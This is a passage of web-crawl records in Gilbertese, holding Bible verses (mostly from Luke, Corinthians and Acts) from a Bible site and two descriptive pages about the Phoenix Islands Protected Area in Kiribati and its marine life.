bungiaki, E na atongaki b'a Raoiroi, ae Natin te Atua. 36Ao noria, e a tia am koraki are Nei Eritabeta ni bikoukoua te nati te mm'aane ngkai e a boni kara; ao ai ana kaonoua n nam'akaina aei ni bikoukou neiere atoatongaki b'a e kanoabo. 37B'a akea te b'ai teuana ae na aki konaki ni karaoaki iroun te Atua.\" 38Ao e kangai Nei Maria, \"Aio ngai ae ana toro te Uea! E na karaoaki nako iu n ai aron am taeka.\" Ao e nako te anera mai rouna. 39E aki maan i mwina, ao e tei rake Nei Maria ao e kawaetata n nako n te kawa teuana ae mena n te tabo ae tabukibuki i Iuta, 40ao e rin i nanon ana auti Takaaria ao e kamauri ma Nei Eritabeta. 41Ngke e ongo Nei Eritabeta ana kamauri Nei Maria, ao te teei are i nanoni birotona, e rina ni kam'akuri; ao e kaonaki Nei Eritabeta n te Tamnei are Raoiroi 42ao e takaarua n te b'anaa ae korakora, \"Boni ngkoe te aine ae rangi ni kakab'aiaki i buakoia aine ni kabane, ao e na kakab'aiaki te ataei ane ko na bungiia! 43Ao e aera ngkae e reke aei i rou, ae e na kawarai tinan au Uea? 44B'a noria, ngke I ongo b'anaam ni kamauri ao e rina ni kam'akuri te teei i nanoni birotou b'a e kukurei. 45Ao e a kab'aia neie onimaki b'a e na kakoroaki bukin te baere taekinaki nako ina mairoun te Uea!\" 46Ao E taku Nei Maria, N na neboa te Atua n nanou ni koaua, 47Ao e kim'areirei nanou iroun te Atua are au Tia Kamaiu. 48B'a E m'annanoa aron mangorin ana toro te aine. B'a noria ma ngkai, ao ane a na atongai aomata nako b'a I a kab'aia. 49B'a E a tia Teuare M'aaka ni karaoi baika ab'ab'aki i buku, moan te tabu arana. 50E nanoangaia aomata ake a karinea man te rorona nakon te rorona. 51E karaoi m'akuri aika m'aaka ni baina, E kamaaeia nako akana kainikatonga n iangoan nanoia. 52E kab'akaia akana korakora man aia kaintokanuea, ao E karietataia akana mangori; 53E katoki nanoia akana aki kaub'ai ni baika raraoi, ao E kanakoia akana kaub'ai n aki kab'aib'aia. 54E buokia Iteraera ake ana toro, ao ni kateimatoa ana nanoanga nako ia ana aomata n aki toki, 55N aron are E taekinna nakoia ara bakatibu, are Aberaam ma ana kariki n aki toki! 56Ao e maeka Nei Maria ma Nei Eritabeta i nanon tao tenua te nam'akaina, ao e a manga okira mwengana. 57E a roko ana tai ni bung Nei Eritabeta, ao e bungia te nati te mm'aane. 58Ao a ongo raon nako Nei Eritabeta ma ana utu b'a E rangi n akoi te Uea nako ina, ao a kim'areirei ma ngaia. 59Ao n te kawani bong, a roko n raona te teei n ana tai ni kaitiakaki; ao a kan aranna b'a Takaaria b'a ingoan tamana. 60ma e taetae tinana ni kangai, \"Tiaki! Ma e na aranaki b'a Ioane.\" 61Ao a taku nako ina, \"Akea i buakoia am utu ae arana te ara aei!\" 62Ao a karaoi kanikina nakon Takaaria n te ara are na katokaaki i aon te teei. 63E tuangiia te b'ai ae e na koroboki iai i aona, ao e korea ae kangai, \"Arana Ioane.\" Ao a bane ni mimi! 64N te tai naba arei ao e oki arona n taetae ao e a kona te kam'akura newena, ao e taetae n neboa te Atua. 65Ao a rotaki n te maaku aomata nako ake a maeka i rarikin Takaaria ma Nei Eritabeta; ao a taekinaki baikai ni kabane n taabo ake a tabukibuki i Iutaia. 66Ao ake a ongo a kawakin i nanoia ao a kangai, \"Tera aron te teei aei rimwi?\" B'a e kawakinaki iroun te Atua. 67Ao e kaonaki tamana are Takaaria iroun te Tamnei are Raoiroi, ao e taetae n ai aron te burabeti ni kangai, 68E na neboaki te Uea, ae Atuaia Iteraera! b'a E kawariia ana aomata ao E kamaiuia, 69Ao E katauraoa te tia Kamaiu ae m'aaka i bukira, ae kaain ana utu Tawita are ana toro. 70N ai aron are E taekinna ni wiia ana burabeti ake a raoiroi ake a maiu ngkoa: 71B'a ti na kamaiuaki mairouia aiara, ao mai nanoni baiia te koraki ake a ribaira; 72B'a E na kaota te nanoanga nakoia ara bakatibu; ao b'a E na uringa ana berita are raoiroi, 73Are te taeka ni bau nakon tamara are Aberaam, 74B'a E na kamaiura mai nanoni baiia ara kairiribai, ao ti na toro i Rouna ma te aki maaku, 75N te itiaki ma te raoiroi i matana i nanoni boong ni kabane ake ti maiu iai. 76Ao ngkoe, ae natiu, ko na atongaki b'a ana burabeti te Atua are Moan te Rietaata; Ko na nako n ri moan te Uea ni katauraoi b'aai ni kabane i bukina. 77Ko na kaotia nakoia ana aomata b'a a na kamaiuaki iroun te Atua ni kab'araan aia bure. 78E nanoanga man akoi Atuara, Ao E na kaota otan ana kamaiu b'a e na oota nako 79N anga te oota nakoia ake a mena n te roo ao n nuun te mate, ao te oota aei e na oota ao ni kairiira nakoni kawain te kamaiu. 80Ao e ikawai rake te teei, ao e reke i rouna te nano ni mm'aane. E mena n te rereua ni karokoa te tai are e kaoti iai nakoia Iteraera.\nCopyright","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/1","date":"2017-02-27T05:12:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501172447.23\/warc\/CC-MAIN-20170219104612-00284-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":1896,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IOANE 1:3939Ao Ngaia E taku, \"Nako mai noria.\" A roko ao a nora te tabo are E maeka iai; a tiku i rouna n te bong arei b'a e a bo aua n te tanimaeaontaai. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/John\/1\/39","date":"2017-02-26T03:43:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171933.81\/warc\/CC-MAIN-20170219104611-00173-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9984651804,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9984651803970337}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.28,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 3:22Ti aei te bae I kan ataia mai roumi, Kam anganaki te Tamnei i bukina ngke kam karaoi baika tangiraki n te Tua, ke i bukina ngke kam ongo taekan te euangkerio ao kam kakoauaa? Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/2","date":"2017-02-26T03:53:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171933.81\/warc\/CC-MAIN-20170219104611-00266-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9999814034,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 0.9999814033508301}","num_words":51,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 11:1616I kaoka are I a tia n taku, Ke e tai taku temanna b'a I baba; ao ngkana kam taku b'a I baba, ao kam na ongora i rou ngkai kanga I baba, b'a N na kamoamoaai naba teutana. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/16","date":"2017-02-24T13:32:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171608.86\/warc\/CC-MAIN-20170219104611-00380-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9996746778,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9996746778488159}","num_words":55,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.28,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 2:1111N aromi naba n reitaki ma Ngaia ao kam a tia ni kaitiakaki, tiaki n te kaitiakaki are korean te iriko man te rab'ata ni bain te aomata, ma n ana kaitiaki Kristo; Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/11","date":"2017-02-22T06:28:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170914.10\/warc\/CC-MAIN-20170219104610-00055-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9999688864,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999688863754272}","num_words":49,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 14:1111Ma ngaia ae ngkana I aki ata nanon te taetae, ao I riki b'a kanga kaain te aba teuana ngai nakon ane taetae, ao ane taetae b'a kanga kaain te aba teuana nako iu. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/11","date":"2017-02-22T15:55:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170993.54\/warc\/CC-MAIN-20170219104610-00477-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9999359846,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999359846115112}","num_words":50,"character_repetition_ratio":0.116,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 7:2828I tuangngkami b'a akea i buakoia aomata nako aika tia ni bungiaki ae kakannato riki nakon Ioane; ma ane moan te mangori n uean te Atua ao boni ngaia ae kakannato riki nako ina. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/7\/28","date":"2017-02-27T11:48:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501172783.57\/warc\/CC-MAIN-20170219104612-00235-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000029802322388}","num_words":50,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.22,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 21:2626Ane a na b'aka ni kiro aomata i bukin te maaku ma kaantaningaan te b'ai ae na roko i aonnaba; b'a ane a na kam'aeaki b'aini karawa mani neia are a taneiai iai. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/26","date":"2017-02-21T08:16:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170696.61\/warc\/CC-MAIN-20170219104610-00619-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9987568855,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9987568855285645}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:3535Ngke e a tia n atongi taeka aikai B'auro, ao e anaa teutana te am'arake ao e tataro ni katituaraoa te Atua i mataia ni kabaneia; e anaa ngkanne teutana mai iai, ao e kanna. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/35","date":"2017-02-20T16:26:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170569.99\/warc\/CC-MAIN-20170219104610-00189-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9998680353,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9998680353164673}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 7:3030ao te koraki ake a katumaua te tang b'a aongkoa a aki, ao ake a kim'areirei b'a aongkoa a aki kim'areirei, ao ake a bob'ai b'a aongkoa a aki b'aini baike a kaboi; Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/30","date":"2017-02-20T02:29:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170380.12\/warc\/CC-MAIN-20170219104610-00124-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9997178912,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9997178912162781}","num_words":49,"character_repetition_ratio":0.151,"word_repetition_ratio":0.0,"special_characters_ratio":0.27,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 14:3434a na tai taetae aine n te botaki n ekaretia nako; b'a e aki kariaiakaki b'a a na taetae; ma a na tauaki aroia, n ai aron taekana naba n te Tua. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/34","date":"2017-02-22T16:14:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170993.54\/warc\/CC-MAIN-20170219104610-00542-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9998330474,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9998330473899841}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.273,"stopwords_ratio":0.312,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 21:55Ao ngke a bane ara bong i Turo, ao ti m'ananga n nako. A bakaborauira te koraki arei ma buuia ma natiia nako tinanikun te kaawa; ao ti katorobubua i aon te bike, ao ti tataro. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/21\/5","date":"2017-02-20T04:48:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170404.1\/warc\/CC-MAIN-20170219104610-00520-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9999136925,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999136924743652}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BIRIBI 2:22ao kam na kaona au kim'areirei, b'a kam na i buoka n iango, kam na b'aina te tangira ae ti te arona, kam na katiteuanaki n ami iango b'a kanga ai aron temanna n aomata ngkami: Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/2\/2","date":"2017-02-20T22:42:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170613.8\/warc\/CC-MAIN-20170219104610-00396-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9998826981,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.999882698059082}","num_words":52,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 7:3838E tei i akuun Iesu i bukini waena n tang, ao e kam'aim'ai waena n ranni matana, ao e kaoi n iran atuna, ao e kaboria ma waena, ao e kabiri n te b'a. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/7\/38","date":"2017-02-20T02:59:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170380.12\/warc\/CC-MAIN-20170219104610-00266-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9999490976,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999490976333618}","num_words":50,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.278,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BIRIBI 2:2727B'a e bon aoraki, ao e kuri ni mate; ma E nanoangaia te Atua, ao tiaki ti ngaia, ma E nanoangaai naba b'a e kaawa n reke i rou te nanokawaki ae moan te bati. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/2\/27","date":"2017-02-27T23:29:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501173866.98\/warc\/CC-MAIN-20170219104613-00195-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9999747276,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999747276306152}","num_words":51,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.266,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kiribati bon te aba ae moan te bubura bwa e mena inanon te aono ae buburana 3,500,000 te square kilometres. E mena Kiribati i nukan marawan te Betebeke ao e toka teutana i etan ao i aan te ekuetoa i marenan Aotiteria n iteran te Aonnaba mai maiaki i nano ao Hawaii man iteran te Aonnaba mai meang i eta. Bon teniua mwakoron aban Kiribati bwa te aono ni Kiribati, te aono n Rawaki ao te aono n Raina. Bon 33 aba inanon 3 aono aikai ma bobotan katuia ae 811 te square kilometres. Te katu n aba aei, e kee iaan 1% ni kabotauaki ma buburan marawan Kiribati ae raka iaon 99%. Ibukin anne ae kinaki iai Kiribati bwa 'Aban Marawa'.\nPIPA e toka 5⁰ i maeaon te ekuetoa. PIPA bon te moan Okai n te aonnaba ae koro buburana ao nang n nano marawana. E kinaki bwa te Oo-n aroka inanon marawa irouia i-abatera. Ni katuna ae 408,250 te square kilometre ke 11% man katun buburan marawan Kiribati ni kabuta, ao PIPA e kinaki bwa te kabanea n tamaroa n Okai n te aonnaba. Raroan PIPA man aba aika iai aomata iai e a buoka aron tararuana ma aki kumekumeana ao ikanne are e terenako iai okoron tamaroan PIPA ma okai nako n te aonnaba aei.\nInanon te mronmron ae PIPA ao iai aba aika 8 mwaitia aika riki man te ane. E aranaki te aono aei bwa Rawaki ao abana aikai bon Rawaki, Enderbury, Nikumaroro, McKean, Manra, Birnie, Kanton ao Orona. A reke naba ni mwaken PIPA uoua taian kaora aika 3 nakon 4 te mita rietaia iaan taari n tain te ora. Taraan rakain PIPA bon ti tebo teia ae ngkai ma are n 1,000 te nga te ririki n nako ao e riki aei ngkai bon moan te karako ana mwakuri ana urubwai te aomata iaona, akean taian maange ma kemikoro ake a urubwai, ao ai man karakon te akawa ae aki tiatianaki.\nAron tein marawan te Aono aei, are riki bwa mwengaia ikana ma marina, e bon koro nanona bwa e nakon 4,000 te mita nakon te nano 6,147 te mita. Iai naba te katautau bwa e raka iaon 30 mwaitin te maunga i aan tare n te Aono aei ma iai 9 maunga mai buakoia aika a tia n reke araia. Angin kabin marawan te Aono aei e bon tuai man roroko te aba iai ke ni kamatebwaiaki ngaia are kamanoan te Aono aei bon kamanoan naba ika aika a tuai man nonoraki irouia taan rabakau ake a bae ni maiu i kabin marawana.\nN te Aono ae PIPA ao bon ti teuana te aba ae iai kaina bwa Kanton. Kain Kanton bon ti uangaun tabun bwa ana taan mwakuri te Tautaeka ni Kiribati ma aia utu. Nikiran abana ake itiua bon akea kaaia ma a kaainaki irouia mannikiba aika nga ma nga. Iai mai buakoia mannikiba aikai aika iaon kawaia ngkai ni bua man te aonnaba aei. Iaon naba aba aikai ao a mwaiti kurikuri iai maan n aroia aaii, mwakauro, ma mwanai. A rawata naba iai aroka ake a bongana ibukin bwaai-n-aoraki. Iai tabeua mai buakoia kaai aikai aika iaon naba kawaia ni bua man te aonnaba aei.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/phoenixislands.org\/about-ki.php","date":"2017-03-27T10:34:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189471.55\/warc\/CC-MAIN-20170322212949-00146-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":521,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.365,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:3737Ngke E tia n atongi baikekei Iesu, ao E kaoaki iroun te B'aritaio temanna b'a E na am'arake ma Ngaia; ma ngaia are E rin n ana auti ao E tekateka n rarikiriki b'a E na am'arake. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/37","date":"2017-03-27T22:22:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189534.68\/warc\/CC-MAIN-20170322212949-00395-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.9999144077,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9999144077301025}","num_words":53,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:55ao te kaantaninga e aki kamaamaea te aba, i bukina b'a e a tia ana tangira te Atua n nurakinaki nako nanora iroun te Tamnei are Raoiroi, are ti a tia n anganaki. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/5","date":"2017-03-24T15:53:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188213.41\/warc\/CC-MAIN-20170322212948-00028-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.9999196529,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999196529388428}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.347,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E korakora te mari inanon marawan Rawaki ma mwaitin ikana aika a mwaiti kurikuri n aekaia nako, taian ingimea, bakoa, raku ao ikan kabin marawa aika rianako mwaitiia. A mwaiti naba aekan rakai aika a maiureirei man riki bwa mwengaia ikan marawa mai mataniwii nako kabin marawa. N taian nano aika a kakaokoro ao n taabo aika a kakaokoro inanoan te nama, itinanikuna ao taabo ake a kaitara ma te ang n taai nako a bon kuneaki iai aekan rakai ma ika aika maeka iai.\nKaora ake a tan man te ang bon ngaia aika a moan te mwaiti kurikuri mwaitin ika iai. Tabo ake a uki man naonao a bon tira naba ika iai inanon taian kararang rimarenan rakai. Akea aekan mwaitin ikan te aono ae Rawaki ae kona ni kabotauaki ma aban nako Indonesia ma te Betebeke. Nga ma nga aekan taian mako, ika-mawa, ao te karon are aki bati n nonoraki n te aonnaba ngaia e koro naba mwaitina n te aono aei.\nTeuana te bwai ae rianako iai aron PIPA bon mwaitin te bakoa ni marawana. Bakoan te aono aei a raraun mai tinanikun bwaron nao nako aon te ora ni kaan ma te bike ni kakai kanaia. Raroan PIPA ma aba aika a maekanaki bon aio oin korakoran marina, ngkai e karako ae kona n roko n akawa n te aono aio. Tao ibukin te raroa aei ae ngaia ae a mano naba iai taian bakoa mairouia taan akawa te bai-ni-bakoa. Taraan te bakoa ikai e tara ni mwaiti ma ni koauana ao bon moan te kai rotaki ngkana e akawaki n aki tiatianaki ngkai ti kaka tabeman bunna ae kona ni bungia n teuana te tai ni kabotauaki ma ika ake a uarereke aika mirion natiia ngkana a bung n teuana te tai.\nTe bakoa bon ngaia ae kateimatoa te reitanimaiu i taari. Ngaia naba ae kabaeranti mwaitin ika nako ao n totokoi naba taian aoraki aika a kona n reke nakoia ika. N te tebo are karaoaki nako kabin marawan Rawaki ao e kuneaki bwa iai naba te bakoa ae toa ae onoua tabaroona. Aio e kaota aron tamnein te bakoa ni kabaeranta te marawa ao te reitanimaiu mai mataniwi nako kabin marawa.\nTe aono ni PIPA e mena raoi i nukan te tabo ngkoa ni waikua n te ka-19 n tienture. A roroko taan waikua mai Amerika meang n taai akanne n anai kua n te mwaiti ae nang rawata. Ibukin anne ao a kamatoa taan rabakau bwa n te tai aei ao moan te karako te kua n te aono ae Rawaki. N tain te roko ikekei n te tai aei ao bon ti taian kua-kewe aika a noraki. Man mwaitin karakoia ao a karioa te iango are e a bon raoiroi ngkana e kainaki naba te aono n Rawaki man te waikua ao ni karinaki iaan te Whaling Commission South Pacific Sanctuary.\nE rawata te on ae noraki n tain te roko ikekei ao iai naba aia tabo ni kaabung aika kuneaki iai. N angiin tabo n te aonnaba ao a karako aia tabo on ni bung ngkai ai te roko naba aomata n urui ao man kang bunnimoaia. E ngae n anne ao tionakon PIPA man te aonnaba ao a kamanoaki iai taian on ma aia tabo ni kaabung. Uaekaki on aika kuneaki i Rawaki bwa te on ae kurin karana ao are ao wai ubuna.\nIai aua aekan baibai aika a kuneaki n te aono n Rawaki. Iai uoua aekakin ake a maeka iaon te maran are aio ti kina n arana ae te baiku ao iai uaekaki aika a maeka i marawa n are nano. Ake a noraki marawa bon te baibai ae te Manta Ray ao are teuana te Eagle Ray. Te Eagle Ray e maiu ni kanana aika maan aika a nang uarereke aika buti ma te aira.\n\"Te bwai ae kuba man anaki nanora iai bon aron mwaitiia ika aika ti tuai man nonori n taabo nako n aron Indonesia ke Biribin. Ika ake aikoa bati n nonoraki bwa a moanna ni bua mataia ngaia a bwanaonao n te tabo aio. Ni katoa tain tebora ao ti a kakamauraki naba n aekan rereba, taian aong, ao a mwaiti riki. Taian mako, te riba, te koinawa ao a mwaiti riki a bon bure aron warekaia ai moara riki ni marawan Nukumaroro.\"\n- Gerry Allen, Tia Rabakau iaon te Ika man te Conservation International\n\"I nori nga ma nga taian mako ao I nori naba e riaon 500 taian ika-mawa. Aikai aekan mwaiti ni ika ae ko aki kona n nori ngkai taabo riki tabeua n te aonnaba aei. Aron taraaia ika-mawa ni ikawawa iaon te rakai kanga ai aron taraia taian buffalo ni ikawawa iaon te aba.\"\n- Steve Bailey, Mataniwin te tabo ni ika n te New England Aquarium","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/phoenixislands.org\/marine_life-ki.php","date":"2017-03-27T10:35:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189471.55\/warc\/CC-MAIN-20170322212949-00240-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":802,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.374,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te okai ae PIPA bon ngaia te moan okai ni marawa ae karina naba kabin marawa iai n reitaki ma maungan kabin marawa. 